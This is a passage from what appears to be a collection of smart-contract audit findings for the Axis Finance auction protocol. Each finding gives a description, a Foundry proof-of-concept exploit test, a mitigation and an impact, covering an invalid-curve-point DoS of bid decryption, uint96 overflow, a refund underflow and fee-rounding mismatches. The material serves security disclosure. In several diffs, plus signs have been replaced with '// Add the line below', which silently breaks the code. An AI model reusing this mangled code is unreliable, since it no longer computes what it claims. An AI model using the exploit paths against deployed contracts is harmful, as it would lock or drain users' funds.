(21888242871839275222246405745257275088696311157297823662689037894645226208584, 2) point instead of the `_bidPublicKey` variable. This is a valid point as per Axis' checks, but it is actually invalid given that the x coordinate is greater than the field modulus:\\n`// EMPAModuleTest.t.sol\\n\\nfunction _createBidData(\\n address bidder_,\\n uint96 amountIn_,\\n uint96 amountOut_\\n ) internal view returns (bytes memory) {\\n uint256 encryptedAmountOut = _encryptBid(_lotId, bidder_, amountIn_, amountOut_);\\n \\n- return abi.encode(encryptedAmountOut, _bidPublicKey);\\n+ return abi.encode(encryptedAmountOut, Point({x: 21888242871839275222246405745257275088696311157297823662689037894645226208584, y: 2}));\\n } `\\nPaste the following code in moonraker/test/modules/auctions/EMPA/decryptAndSortBids.t.sol:\\n`// decryptAndSortBids.t.sol\\n\\nfunction testBugdosDecryption()\\n external\\n givenLotIsCreated\\n givenLotHasStarted\\n givenBidIsCreated(_BID_AMOUNT, _BID_AMOUNT_OUT) \\n givenBidIsCreated(_BID_AMOUNT, _BID_AMOUNT_OUT) \\n givenLotHasConcluded \\n givenPrivateKeyIsSubmitted\\n {\\n\\n vm.expectRevert("ecMul failed.");\\n _module.decryptAndSortBids(_lotId, 1);\\n\\n }`\\nRun the test inside `moonraker` with the following command: `forge test --mt testBugdosDecryption`
Ensure that the x and y coordinates are smaller than the field modulus inside the `ECIES.sol` `isValid()` function, adding the `p.x < FIELD_MODULUS && p.y < FIELD_MODULUS` check so that invalid points can't be submitted:\\n```\\n// ECIES.sol\\n\\nfunction isValid(Point memory p) public pure returns (bool) { \\n// Remove the line below\\n return isOnBn128(p) && !(p.x == 1 && p.y == 2) && !(p.x == 0 && p.y == 0); \\n// Add the line below\\n return isOnBn128(p) && !(p.x == 1 && p.y == 2) && !(p.x == 0 && p.y == 0) && (p.x < FIELD_MODULUS && p.y < FIELD_MODULUS); \\n }\\n```\\n
High. A malicious bidder can effectively DoS the decryption process, which will prevent all actions in the protocol from being executed. This attack will make all the bids and prefunded auction funds remain stuck forever in the contract, because all the functions related to the post-concluded auction steps expect the bids to be first decrypted.
```\\n// EMPAM.sol\\n\\nfunction _bid(\\n uint96 lotId_, \\n address bidder_,\\n address referrer_,\\n uint96 amount_,\\n bytes calldata auctionData_\\n ) internal override returns (uint64 bidId) {\\n // Decode auction data \\n (uint256 encryptedAmountOut, Point memory bidPubKey) = \\n abi.decode(auctionData_, (uint256, Point));\\n \\n // rest of code\\n\\n // Check that the bid public key is a valid point for the encryption library\\n if (!ECIES.isValid(bidPubKey)) revert Auction_InvalidKey(); \\n \\n // rest of code\\n\\n return bidId;\\n }\\n```\\n
Downcasting to uint96 can cause assets to be lost for some tokens
high
Downcasting to uint96 can cause assets to be lost for some tokens\\nAfter summing the individual bid amounts, the total bid amount is downcasted to uint96 without any checks\\n```\\n settlement_.totalIn = uint96(result.totalAmountIn);\\n```\\n\\nuint96 can be overflowed for multiple well traded tokens:\\nEg:\\nshiba inu : current price = $0.00003058 value of type(uint96).max tokens ~= 2^96 * 0.00003058 / 10^18 == 2.5 million $\\nHence auctions that receive more than type(uint96).max amount of tokens will be downcasted leading to extreme loss for the auctioner
Use a higher type or warn the user's of the limitations on the auction sizes
The auctioner will suffer extreme loss in situations where the auctions bring in >uint96 amount of tokens
```\\n settlement_.totalIn = uint96(result.totalAmountIn);\\n```\\n
Incorrect `prefundingRefund` calculation will disallow claiming
high
Incorrect `prefundingRefund` calculation will lead to underflow and hence disallowing claiming\\nThe `prefundingRefund` variable calculation inside the `claimProceeds` function is incorrect\\n```\\n function claimProceeds(\\n uint96 lotId_,\\n bytes calldata callbackData_\\n ) external override nonReentrant {\\n \\n // rest of code\\n\\n (uint96 purchased_, uint96 sold_, uint96 payoutSent_) =\\n _getModuleForId(lotId_).claimProceeds(lotId_);\\n\\n // rest of code.\\n\\n // Refund any unused capacity and curator fees to the address dictated by the callbacks address\\n // By this stage, a partial payout (if applicable) and curator fees have been paid, leaving only the payout amount (`totalOut`) remaining.\\n uint96 prefundingRefund = routing.funding + payoutSent_ - sold_;\\n unchecked {\\n routing.funding -= prefundingRefund;\\n }\\n```\\n\\nHere `sold` is the total base quantity that has been `sold` to the bidders. Unlike required, the `routing.funding` variable need not be holding `capacity + (0,curator fees)` since it is decremented every time a payout of a bid is claimed\\n```\\n function claimBids(uint96 lotId_, uint64[] calldata bidIds_) external override nonReentrant {\\n \\n // rest of code.\\n\\n if (bidClaim.payout > 0) {\\n \\n // rest of code\\n\\n // Reduce funding by the payout amount\\n unchecked {\\n routing.funding -= bidClaim.payout;\\n }\\n```\\n\\nExample\\nCapacity = 100 prefunded, hence routing.funding == 100 initially Sold = 90 and no partial fill/curation All bidders claim before the claimProceed function is invoked Hence routing.funding = 100 - 90 == 10 When claimProceeds is invoked, underflow and revert:\\nuint96 prefundingRefund = routing.funding + payoutSent_ - sold_ == 10 + 0 - 90
Change the calculation to:\\n```\\nuint96 prefundingRefund = capacity - sold_ + curatorFeesAdjustment (how much was prefunded initially - how much will be sent out based on capacity - sold)\\n```\\n
Claim proceeds function is broken. Sellers won't be able to receive the proceedings
```\\n function claimProceeds(\\n uint96 lotId_,\\n bytes calldata callbackData_\\n ) external override nonReentrant {\\n \\n // rest of code\\n\\n (uint96 purchased_, uint96 sold_, uint96 payoutSent_) =\\n _getModuleForId(lotId_).claimProceeds(lotId_);\\n\\n // rest of code.\\n\\n // Refund any unused capacity and curator fees to the address dictated by the callbacks address\\n // By this stage, a partial payout (if applicable) and curator fees have been paid, leaving only the payout amount (`totalOut`) remaining.\\n uint96 prefundingRefund = routing.funding + payoutSent_ - sold_;\\n unchecked {\\n routing.funding -= prefundingRefund;\\n }\\n```\\n
If pfBidder gets blacklisted the settlement process would be broken and every other bidders and the seller would lose their funds
medium
During batch auction settlement, the bidder whos bid was partially filled gets the refund amount in quote tokens and his payout in base immediately. In case if quote or base is a token with blacklisted functionality (e.g. USDC) and bidder's account gets blacklisted after the bid was submitted, the settlement would be bricked and all bidders and the seller would lose their tokens/proceeds.\\nIn the `AuctionHouse.settlement()` function there is a check if the bid was partially filled, in which case the function handles refund and payout immediately:\\n```\\n // Check if there was a partial fill and handle the payout + refund\\n if (settlement.pfBidder != address(0)) {\\n // Allocate quote and protocol fees for bid\\n _allocateQuoteFees(\\n feeData.protocolFee,\\n feeData.referrerFee,\\n settlement.pfReferrer,\\n routing.seller,\\n routing.quoteToken,\\n // Reconstruct bid amount from the settlement price and the amount out\\n uint96(\\n Math.mulDivDown(\\n settlement.pfPayout, settlement.totalIn, settlement.totalOut\\n )\\n )\\n );\\n\\n // Reduce funding by the payout amount\\n unchecked {\\n routing.funding -= uint96(settlement.pfPayout);\\n }\\n\\n // Send refund and payout to the bidder\\n //@audit if pfBidder gets blacklisted the settlement is broken\\n Transfer.transfer(\\n routing.quoteToken, settlement.pfBidder, settlement.pfRefund, false\\n );\\n\\n _sendPayout(settlement.pfBidder, settlement.pfPayout, routing, auctionOutput);\\n }\\n```\\n\\nIf `pfBidder` gets blacklisted after he submitted his bid, the call to `settle()` would revert. There is no way for other bidders to get a refund for the auction since settlement can only happen after auction conclusion but the `refundBid()` function needs to be called before the conclusion:\\n```\\n function settle(uint96 lotId_)\\n external\\n virtual\\n override\\n onlyInternal\\n returns (Settlement memory settlement, bytes memory auctionOutput)\\n {\\n // Standard validation\\n _revertIfLotInvalid(lotId_);\\n _revertIfBeforeLotStart(lotId_);\\n _revertIfLotActive(lotId_); //@audit\\n _revertIfLotSettled(lotId_);\\n \\n // rest of code\\n}\\n```\\n\\n```\\n function refundBid(\\n uint96 lotId_,\\n uint64 bidId_,\\n address caller_\\n ) external override onlyInternal returns (uint96 refund) {\\n // Standard validation\\n _revertIfLotInvalid(lotId_);\\n _revertIfBeforeLotStart(lotId_);\\n _revertIfBidInvalid(lotId_, bidId_);\\n _revertIfNotBidOwner(lotId_, bidId_, caller_);\\n _revertIfBidClaimed(lotId_, bidId_);\\n _revertIfLotConcluded(lotId_); //@audit\\n\\n // Call implementation-specific logic\\n return _refundBid(lotId_, bidId_, caller_);\\n }\\n```\\n\\nAlso, the `claimBids` function would also revert since the lot wasn't settled and the seller wouldn't be able to get his prefunding back since he can neither `cancel()` the lot nor `claimProceeds()`.
Separate the payout and refunding logic for pfBidder from the settlement process.
Loss of funds
```\\n // Check if there was a partial fill and handle the payout + refund\\n if (settlement.pfBidder != address(0)) {\\n // Allocate quote and protocol fees for bid\\n _allocateQuoteFees(\\n feeData.protocolFee,\\n feeData.referrerFee,\\n settlement.pfReferrer,\\n routing.seller,\\n routing.quoteToken,\\n // Reconstruct bid amount from the settlement price and the amount out\\n uint96(\\n Math.mulDivDown(\\n settlement.pfPayout, settlement.totalIn, settlement.totalOut\\n )\\n )\\n );\\n\\n // Reduce funding by the payout amount\\n unchecked {\\n routing.funding -= uint96(settlement.pfPayout);\\n }\\n\\n // Send refund and payout to the bidder\\n //@audit if pfBidder gets blacklisted the settlement is broken\\n Transfer.transfer(\\n routing.quoteToken, settlement.pfBidder, settlement.pfRefund, false\\n );\\n\\n _sendPayout(settlement.pfBidder, settlement.pfPayout, routing, auctionOutput);\\n }\\n```\\n
Unsold tokens from a FPAM auction, will be stuck in the protocol, after the auction concludes
medium
The `Axis-Finance` protocol allows sellers to create two types of auctions: FPAM & EMPAM. An FPAM auction allows sellers to set a price, and a maxPayout, as well as create a prefunded auction. The seller of a FPAM auction can cancel it while it is still active by calling the cancel function which in turn calls the cancelAuction() function. If the auction is prefunded, and canceled while still active, all remaining funds will be transferred back to the seller. The problem arises if an FPAM prefunded auction is created, not all of the prefunded supply is bought by users, and the auction concludes. There is no way for the `baseTokens` still in the contract, to be withdrawn from the protocol, and they will be forever stuck in the `Axis-Finance` protocol. As can be seen from the below code snippet cancelAuction() function checks if an auction is concluded, and if it is the function reverts.\\n```\\n function _revertIfLotConcluded(uint96 lotId_) internal view virtual {\\n // Beyond the conclusion time\\n if (lotData[lotId_].conclusion < uint48(block.timestamp)) {\\n revert Auction_MarketNotActive(lotId_);\\n }\\n\\n // Capacity is sold-out, or cancelled\\n if (lotData[lotId_].capacity == 0) revert Auction_MarketNotActive(lotId_);\\n }\\n```\\n\\nGist After following the steps in the above mentioned gist add the following test to the `AuditorTests.t.sol` file\\n```\\nfunction test_FundedPriceAuctionStuckFunds() public {\\n vm.startPrank(alice);\\n Veecode veecode = fixedPriceAuctionModule.VEECODE();\\n Keycode keycode = keycodeFromVeecode(veecode);\\n bytes memory _derivativeParams = "";\\n uint96 lotCapacity = 75_000_000_000e18; // this is 75 billion tokens\\n mockBaseToken.mint(alice, lotCapacity);\\n mockBaseToken.approve(address(auctionHouse), type(uint256).max);\\n\\n FixedPriceAuctionModule.FixedPriceParams memory myStruct = FixedPriceAuctionModule.FixedPriceParams({\\n price: uint96(1e18), \\n maxPayoutPercent: uint24(1e5)\\n });\\n\\n Auctioneer.RoutingParams memory routingA = Auctioneer.RoutingParams({\\n auctionType: keycode,\\n baseToken: mockBaseToken,\\n quoteToken: mockQuoteToken,\\n curator: curator,\\n callbacks: ICallback(address(0)),\\n callbackData: abi.encode(""),\\n derivativeType: toKeycode(""),\\n derivativeParams: _derivativeParams,\\n wrapDerivative: false,\\n prefunded: true\\n });\\n\\n Auction.AuctionParams memory paramsA = Auction.AuctionParams({\\n start: 0,\\n duration: 1 days,\\n capacityInQuote: false,\\n capacity: lotCapacity,\\n implParams: abi.encode(myStruct)\\n });\\n\\n string memory infoHashA;\\n auctionHouse.auction(routingA, paramsA, infoHashA); \\n vm.stopPrank();\\n\\n vm.startPrank(bob);\\n uint96 fundingBeforePurchase;\\n uint96 fundingAfterPurchase;\\n (,fundingBeforePurchase,,,,,,,) = auctionHouse.lotRouting(0);\\n console2.log("Here is the funding normalized before purchase: ", fundingBeforePurchase/1e18);\\n mockQuoteToken.mint(bob, 10_000_000_000e18);\\n mockQuoteToken.approve(address(auctionHouse), type(uint256).max);\\n Router.PurchaseParams memory purchaseParams = Router.PurchaseParams({\\n recipient: bob,\\n referrer: address(0),\\n lotId: 0,\\n amount: 10_000_000_000e18,\\n minAmountOut: 10_000_000_000e18,\\n auctionData: abi.encode(0),\\n permit2Data: ""\\n });\\n bytes memory callbackData = "";\\n auctionHouse.purchase(purchaseParams, callbackData);\\n (,fundingAfterPurchase,,,,,,,) = auctionHouse.lotRouting(0);\\n console2.log("Here is the funding normalized after purchase: ", fundingAfterPurchase/1e18);\\n console2.log("Balance of seler of quote tokens: ", mockQuoteToken.balanceOf(alice)/1e18);\\n console2.log("Balance of bob in base token: ", mockBaseToken.balanceOf(bob)/1e18);\\n console2.log("Balance of auction house in base token: ", mockBaseToken.balanceOf(address(auctionHouse)) /1e18);\\n skip(86401);\\n vm.stopPrank();\\n\\n vm.startPrank(alice);\\n vm.expectRevert(\\n abi.encodeWithSelector(Auction.Auction_MarketNotActive.selector, 0)\\n );\\n auctionHouse.cancel(uint96(0), callbackData);\\n vm.stopPrank();\\n }\\n```\\n\\n```\\nLogs:\\n Here is the funding normalized before purchase: 75000000000\\n Here is the funding normalized after purchase: 65000000000\\n Balance of seler of quote tokens: 10000000000\\n Balance of bob in base token: 10000000000\\n Balance of auction house in base token: 65000000000\\n```\\n\\nTo run the test use: `forge test -vvv --mt test_FundedPriceAuctionStuckFunds`
Implement a function, that allows sellers to withdraw the amount left for a prefunded FPAM auction they have created, once the auction has concluded.
If a prefunded FPAM auction concludes and there are still tokens, not bought from the users, they will be stuck in the `Axis-Finance` protocol.
```\\n function _revertIfLotConcluded(uint96 lotId_) internal view virtual {\\n // Beyond the conclusion time\\n if (lotData[lotId_].conclusion < uint48(block.timestamp)) {\\n revert Auction_MarketNotActive(lotId_);\\n }\\n\\n // Capacity is sold-out, or cancelled\\n if (lotData[lotId_].capacity == 0) revert Auction_MarketNotActive(lotId_);\\n }\\n```\\n
User's can be grieved by not submitting the private key
medium
User's can be grieved by not submitting the private key\\nBids cannot be refunded once the auction concludes. And bids cannot be claimed until the auction has been settled. Similarly a EMPAM auction cannot be cancelled once started.\\n```\\n function claimBids(\\n uint96 lotId_,\\n uint64[] calldata bidIds_\\n )\\n external\\n override\\n onlyInternal\\n returns (BidClaim[] memory bidClaims, bytes memory auctionOutput)\\n {\\n // Standard validation\\n _revertIfLotInvalid(lotId_);\\n _revertIfLotNotSettled(lotId_);\\n```\\n\\n```\\n function refundBid(\\n uint96 lotId_,\\n uint64 bidId_,\\n address caller_\\n ) external override onlyInternal returns (uint96 refund) {\\n // Standard validation\\n _revertIfLotInvalid(lotId_);\\n _revertIfBeforeLotStart(lotId_);\\n _revertIfBidInvalid(lotId_, bidId_);\\n _revertIfNotBidOwner(lotId_, bidId_, caller_);\\n _revertIfBidClaimed(lotId_, bidId_);\\n _revertIfLotConcluded(lotId_);\\n```\\n\\n```\\n function _cancelAuction(uint96 lotId_) internal override {\\n // Validation\\n // Batch auctions cannot be cancelled once started, otherwise the seller could cancel the auction after bids have been submitted\\n _revertIfLotActive(lotId_);\\n```\\n\\n```\\n function cancelAuction(uint96 lotId_) external override onlyInternal {\\n // Validation\\n _revertIfLotInvalid(lotId_);\\n _revertIfLotConcluded(lotId_);\\n```\\n\\n```\\n function _settle(uint96 lotId_)\\n internal\\n override\\n returns (Settlement memory settlement_, bytes memory auctionOutput_)\\n {\\n // Settle the auction\\n // Check that auction is in the right state for settlement\\n if (auctionData[lotId_].status != Auction.Status.Decrypted) {\\n revert Auction_WrongState(lotId_);\\n }\\n```\\n\\nFor EMPAM auctions, the private key associated with the auction has to be submitted before the auction can be settled. In auctions where the private key is held by the seller, they can grief the bidder's or in cases where a key management solution is used, both seller and bidder's can be griefed by not submitting the private key.
Acknowledge the risk involved for the seller and bidder
User's will not be able to claim their assets in case the private key holder doesn't submit the key for decryption
```\\n function claimBids(\\n uint96 lotId_,\\n uint64[] calldata bidIds_\\n )\\n external\\n override\\n onlyInternal\\n returns (BidClaim[] memory bidClaims, bytes memory auctionOutput)\\n {\\n // Standard validation\\n _revertIfLotInvalid(lotId_);\\n _revertIfLotNotSettled(lotId_);\\n```\\n
Bidder's payout claim could fail due to validation checks in LinearVesting
medium
Bidder's payout claim will fail due to validation checks in LinearVesting after the expiry timestamp\\nBidder's payout are sent by internally calling the `_sendPayout` function. In case the payout is a derivative which has already expired, this will revert due to the validation check of `block.timestmap < expiry` present in the mint function of LinearVesting derivative\\n```\\n function _sendPayout(\\n address recipient_,\\n uint256 payoutAmount_,\\n Routing memory routingParams_,\\n bytes memory\\n ) internal {\\n \\n if (fromVeecode(derivativeReference) == bytes7("")) {\\n Transfer.transfer(baseToken, recipient_, payoutAmount_, true);\\n }\\n else {\\n \\n DerivativeModule module = DerivativeModule(_getModuleIfInstalled(derivativeReference));\\n\\n Transfer.approve(baseToken, address(module), payoutAmount_);\\n\\n=> module.mint(\\n recipient_,\\n address(baseToken),\\n routingParams_.derivativeParams,\\n payoutAmount_,\\n routingParams_.wrapDerivative\\n );\\n```\\n\\n```\\n function mint(\\n address to_,\\n address underlyingToken_,\\n bytes memory params_,\\n uint256 amount_,\\n bool wrapped_\\n )\\n external\\n virtual\\n override\\n returns (uint256 tokenId_, address wrappedAddress_, uint256 amountCreated_)\\n {\\n if (amount_ == 0) revert InvalidParams();\\n\\n VestingParams memory params = _decodeVestingParams(params_);\\n\\n if (_validate(underlyingToken_, params) == false) {\\n revert InvalidParams();\\n }\\n```\\n\\n```\\n function _validate(\\n address underlyingToken_,\\n VestingParams memory data_\\n ) internal view returns (bool) {\\n \\n // rest of code.\\n\\n=> if (data_.expiry < block.timestamp) return false;\\n\\n\\n // Check that the underlying token is not 0\\n if (underlyingToken_ == address(0)) return false;\\n\\n\\n return true;\\n }\\n```\\n\\nHence the user's won't be able to claim their payouts of an auction once the derivative has expired. For EMPAM auctions, a seller can also wait till this timestmap passes before revealing their private key which will disallow bidders from claiming their rewards.
Allow to mint tokens even after expiry of the vesting token / deploy the derivative token first itself and when making the payout, transfer the base token directly incase the expiry time is passed
Bidder's won't be able claim payouts from auction after the derivative expiry timestamp
```\\n function _sendPayout(\\n address recipient_,\\n uint256 payoutAmount_,\\n Routing memory routingParams_,\\n bytes memory\\n ) internal {\\n \\n if (fromVeecode(derivativeReference) == bytes7("")) {\\n Transfer.transfer(baseToken, recipient_, payoutAmount_, true);\\n }\\n else {\\n \\n DerivativeModule module = DerivativeModule(_getModuleIfInstalled(derivativeReference));\\n\\n Transfer.approve(baseToken, address(module), payoutAmount_);\\n\\n=> module.mint(\\n recipient_,\\n address(baseToken),\\n routingParams_.derivativeParams,\\n payoutAmount_,\\n routingParams_.wrapDerivative\\n );\\n```\\n
Inaccurate value is used for partial fill quote amount when calculating fees
medium
Inaccurate value is used for partial fill quote amount when calculating fees which can cause reward claiming / payment withdrawal to revert\\nThe fees of an auction is managed as follows:\\nWhenever a bidder claims their payout, calculate the amount of quote tokens that should be collected as fees (instead of giving the entire quote amount to the seller) and add this to the protocol / referrers rewards\\n```\\n function claimBids(uint96 lotId_, uint64[] calldata bidIds_) external override nonReentrant {\\n \\n // rest of code.\\n\\n for (uint256 i = 0; i < bidClaimsLen; i++) {\\n Auction.BidClaim memory bidClaim = bidClaims[i];\\n\\n if (bidClaim.payout > 0) {\\n \\n=> _allocateQuoteFees(\\n protocolFee,\\n referrerFee,\\n bidClaim.referrer,\\n routing.seller,\\n routing.quoteToken,\\n=> bidClaim.paid\\n );\\n```\\n\\nHere bidClaim.paid is the amount of quote tokens that was transferred in by the bidder for the purchase\\n```\\n function _allocateQuoteFees(\\n uint96 protocolFee_,\\n uint96 referrerFee_,\\n address referrer_,\\n address seller_,\\n ERC20 quoteToken_,\\n uint96 amount_\\n ) internal returns (uint96 totalFees) {\\n // Calculate fees for purchase\\n (uint96 toReferrer, uint96 toProtocol) = calculateQuoteFees(\\n protocolFee_, referrerFee_, referrer_ != address(0) && referrer_ != seller_, amount_\\n );\\n\\n // Update fee balances if non-zero\\n if (toReferrer > 0) rewards[referrer_][quoteToken_] += uint256(toReferrer);\\n if (toProtocol > 0) rewards[_protocol][quoteToken_] += uint256(toProtocol);\\n\\n\\n return toReferrer + toProtocol;\\n }\\n```\\n\\nWhenever the seller calls claimProceeds to withdraw the amount of quote tokens received from the auction, subtract the quote fees and give out the remaining\\n```\\n function claimProceeds(\\n uint96 lotId_,\\n bytes calldata callbackData_\\n ) external override nonReentrant {\\n \\n // rest of code.\\n \\n uint96 totalInLessFees;\\n {\\n=> (, uint96 toProtocol) = calculateQuoteFees(\\n lotFees[lotId_].protocolFee, lotFees[lotId_].referrerFee, false, purchased_\\n );\\n unchecked {\\n=> totalInLessFees = purchased_ - toProtocol;\\n }\\n }\\n```\\n\\nHere purchased is the total quote token amount that was collected for this auction.\\nIn case the fees calculated in claimProceeds is less than the sum of fees allocated to the protocol / referrer via claimBids, there will be a mismatch causing the sum of (fees allocated + seller purchased quote tokens) to be greater than the total quote token amount that was transferred in for the auction. This could cause either the protocol/referrer to not obtain their rewards or the seller to not be able to claim the purchased tokens in case there are no excess quote token present in the auction house contract.\\nIn case, totalPurchased is >= sum of all individual bid quote token amounts (as it is supposed to be), the fee allocation would be correct. But due to the inaccurate computation of the input quote token amount associated with a partial fill, it is possible for the above scenario (ie. fees calculated in claimProceeds is less than the sum of fees allocated to the protocol / referrer via claimBids) to occur\\n```\\n function settle(uint96 lotId_) external override nonReentrant {\\n \\n // rest of code.\\n\\n if (settlement.pfBidder != address(0)) {\\n\\n _allocateQuoteFees(\\n feeData.protocolFee,\\n feeData.referrerFee,\\n settlement.pfReferrer,\\n routing.seller,\\n routing.quoteToken,\\n\\n // @audit this method of calculating the input quote token amount associated with a partial fill is not accurate\\n uint96(\\n=> Math.mulDivDown(\\n settlement.pfPayout, settlement.totalIn, settlement.totalOut\\n )\\n )\\n```\\n\\nThe above method of calculating the input token amount associated with a partial fill can cause this value to be higher than the acutal value and hence the fees allocated will be less than what the fees that will be captured from the seller will be\\nPOC\\nApply the following diff to `test/AuctionHouse/AuctionHouseTest.sol` and run `forge test --mt testHash_SpecificPartialRounding -vv`\\nIt is asserted that the tokens allocated as fees is greater than the tokens that will be captured from a seller for fees\\n```\\ndiff --git a/moonraker/test/AuctionHouse/AuctionHouseTest.sol b/moonraker/test/AuctionHouse/AuctionHouseTest.sol\\nindex 44e717d..9b32834 100644\\n--- a/moonraker/test/AuctionHouse/AuctionHouseTest.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/moonraker/test/AuctionHouse/AuctionHouseTest.sol\\n@@ -6,6 // Add the line below\\n6,8 @@ import {Test} from "forge-std/Test.sol";\\n import {ERC20} from "solmate/tokens/ERC20.sol";\\n import {Transfer} from "src/lib/Transfer.sol";\\n import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";\\n// Add the line below\\nimport {SafeCastLib} from "solmate/utils/SafeCastLib.sol";\\n// Add the line below\\n\\n \\n // Mocks\\n import {MockAtomicAuctionModule} from "test/modules/Auction/MockAtomicAuctionModule.sol";\\n@@ -134,6 // Add the line below\\n136,158 @@ abstract contract AuctionHouseTest is Test, Permit2User {\\n _bidder = vm.addr(_bidderKey);\\n }\\n \\n// Add the line below\\n function testHash_SpecificPartialRounding() public {\\n// Add the line below\\n /*\\n// Add the line below\\n capacity 1056499719758481066\\n// Add the line below\\n previous total amount 1000000000000000000\\n// Add the line below\\n bid amount 2999999999999999999997\\n// Add the line below\\n price 2556460687578254783645\\n// Add the line below\\n fullFill 1173497411705521567\\n// Add the line below\\n excess 117388857750942341\\n// Add the line below\\n pfPayout 1056108553954579226\\n// Add the line below\\n pfRefund 300100000000000000633\\n// Add the line below\\n new totalAmountIn 2700899999999999999364\\n// Add the line below\\n usedContributionForQuoteFees 2699900000000000000698\\n// Add the line below\\n quoteTokens1 1000000\\n// Add the line below\\n quoteTokens2 2699900000\\n// Add the line below\\n quoteTokensAllocated 2700899999\\n// Add the line below\\n */\\n// Add the line below\\n\\n// Add the line below\\n uint bidAmount = 2999999999999999999997;\\n// Add the line below\\n uint marginalPrice = 2556460687578254783645;\\n// Add the line below\\n uint capacity = 1056499719758481066;\\n// Add the line below\\n uint previousTotalAmount = 1000000000000000000;\\n// Add the line below\\n uint baseScale = 1e18;\\n// Add the line below\\n\\n// Add the line below\\n // hasn't reached the capacity with previousTotalAmount\\n// Add the line below\\n assert(\\n// Add the line below\\n FixedPointMathLib.mulDivDown(previousTotalAmount, baseScale, marginalPrice) <\\n// Add the line below\\n capacity\\n// Add the line below\\n );\\n// Add the line below\\n\\n// Add the line below\\n uint capacityExpended = FixedPointMathLib.mulDivDown(\\n// Add the line below\\n previousTotalAmount // Add the line below\\n bidAmount,\\n// Add the line below\\n baseScale,\\n// Add the line below\\n marginalPrice\\n// Add the line below\\n );\\n// Add the line below\\n assert(capacityExpended > capacity);\\n// Add the line below\\n\\n// Add the line below\\n uint totalAmountIn = previousTotalAmount // Add the line below\\n bidAmount;\\n// Add the line below\\n\\n// Add the line below\\n uint256 fullFill = FixedPointMathLib.mulDivDown(\\n// Add the line below\\n uint256(bidAmount),\\n// Add the line below\\n baseScale,\\n// Add the line below\\n marginalPrice\\n// Add the line below\\n );\\n// Add the line below\\n\\n// Add the line below\\n uint256 excess = capacityExpended - capacity;\\n// Add the line below\\n\\n// Add the line below\\n uint pfPayout = SafeCastLib.safeCastTo96(fullFill - excess);\\n// Add the line below\\n uint pfRefund = SafeCastLib.safeCastTo96(\\n// Add the line below\\n FixedPointMathLib.mulDivDown(uint256(bidAmount), excess, fullFill)\\n// Add the line below\\n );\\n// Add the line below\\n\\n// Add the line below\\n totalAmountIn -= pfRefund;\\n// Add the line below\\n\\n// Add the line below\\n uint usedContributionForQuoteFees;\\n// Add the line below\\n {\\n// Add the line below\\n uint totalOut = SafeCastLib.safeCastTo96(\\n// Add the line below\\n capacityExpended > capacity ? capacity : capacityExpended\\n// Add the line below\\n );\\n// Add the line below\\n\\n// Add the line below\\n usedContributionForQuoteFees = FixedPointMathLib.mulDivDown(\\n// Add the line below\\n pfPayout,\\n// Add the line below\\n totalAmountIn,\\n// Add the line below\\n totalOut\\n// Add the line below\\n );\\n// Add the line below\\n }\\n// Add the line below\\n\\n// Add the line below\\n {\\n// Add the line below\\n uint actualContribution = bidAmount - pfRefund;\\n// Add the line below\\n\\n// Add the line below\\n // acutal contribution is less than the usedContributionForQuoteFees\\n// Add the line below\\n assert(actualContribution < usedContributionForQuoteFees);\\n// Add the line below\\n console2.log("actual contribution", actualContribution);\\n// Add the line below\\n console2.log(\\n// Add the line below\\n "used contribution for fees",\\n// Add the line below\\n usedContributionForQuoteFees\\n// Add the line below\\n );\\n// Add the line below\\n }\\n// Add the line below\\n\\n// Add the line below\\n // calculating quote fees allocation\\n// Add the line below\\n // quote fees captured from the seller\\n// Add the line below\\n {\\n// Add the line below\\n (, uint96 quoteTokensAllocated) = calculateQuoteFees(\\n// Add the line below\\n 1e3,\\n// Add the line below\\n 0,\\n// Add the line below\\n false,\\n// Add the line below\\n SafeCastLib.safeCastTo96(totalAmountIn)\\n// Add the line below\\n );\\n// Add the line below\\n\\n// Add the line below\\n // quote tokens that will be allocated for the earlier bid\\n// Add the line below\\n (, uint96 quoteTokens1) = calculateQuoteFees(\\n// Add the line below\\n 1e3,\\n// Add the line below\\n 0,\\n// Add the line below\\n false,\\n// Add the line below\\n SafeCastLib.safeCastTo96(previousTotalAmount)\\n// Add the line below\\n );\\n// Add the line below\\n\\n// Add the line below\\n // quote tokens that will be allocated for the partial fill\\n// Add the line below\\n (, uint96 quoteTokens2) = calculateQuoteFees(\\n// Add the line below\\n 1e3,\\n// Add the line below\\n 0,\\n// Add the line below\\n false,\\n// Add the line below\\n SafeCastLib.safeCastTo96(usedContributionForQuoteFees)\\n// Add the line below\\n );\\n// Add the line below\\n \\n// Add the line below\\n console2.log("quoteTokens1", quoteTokens1);\\n// Add the line below\\n console2.log("quoteTokens2", quoteTokens2);\\n// Add the line below\\n console2.log("quoteTokensAllocated", quoteTokensAllocated);\\n// Add the line below\\n\\n// Add the line below\\n // quoteToken fees allocated is greater than what will be captured from seller\\n// Add the line below\\n assert(quoteTokens1 // Add the line below\\n quoteTokens2 > quoteTokensAllocated);\\n// Add the line below\\n }\\n// Add the line below\\n }\\n// Add the line below\\n\\n// Add the line below\\n function calculateQuoteFees(\\n// Add the line below\\n uint96 protocolFee_,\\n// Add the line below\\n uint96 referrerFee_,\\n// Add the line below\\n bool hasReferrer_,\\n// Add the line below\\n uint96 amount_\\n// Add the line below\\n ) public pure returns (uint96 toReferrer, uint96 toProtocol) {\\n// Add the line below\\n uint _FEE_DECIMALS = 5;\\n// Add the line below\\n uint96 feeDecimals = uint96(_FEE_DECIMALS);\\n// Add the line below\\n\\n// Add the line below\\n if (hasReferrer_) {\\n// Add the line below\\n // In this case we need to:\\n// Add the line below\\n // 1. Calculate referrer fee\\n// Add the line below\\n // 2. Calculate protocol fee as the total expected fee amount minus the referrer fee\\n// Add the line below\\n // to avoid issues with rounding from separate fee calculations\\n// Add the line below\\n toReferrer = uint96(\\n// Add the line below\\n FixedPointMathLib.mulDivDown(amount_, referrerFee_, feeDecimals)\\n// Add the line below\\n );\\n// Add the line below\\n toProtocol =\\n// Add the line below\\n uint96(\\n// Add the line below\\n FixedPointMathLib.mulDivDown(\\n// Add the line below\\n amount_,\\n// Add the line below\\n protocolFee_ // Add the line below\\n referrerFee_,\\n// Add the line below\\n feeDecimals\\n// Add the line below\\n )\\n// Add the line below\\n ) -\\n// Add the line below\\n toReferrer;\\n// Add the line below\\n } else {\\n// Add the line below\\n // If there is no referrer, the protocol gets the entire fee\\n// Add the line below\\n toProtocol = uint96(\\n// Add the line below\\n FixedPointMathLib.mulDivDown(\\n// Add the line below\\n amount_,\\n// Add the line below\\n 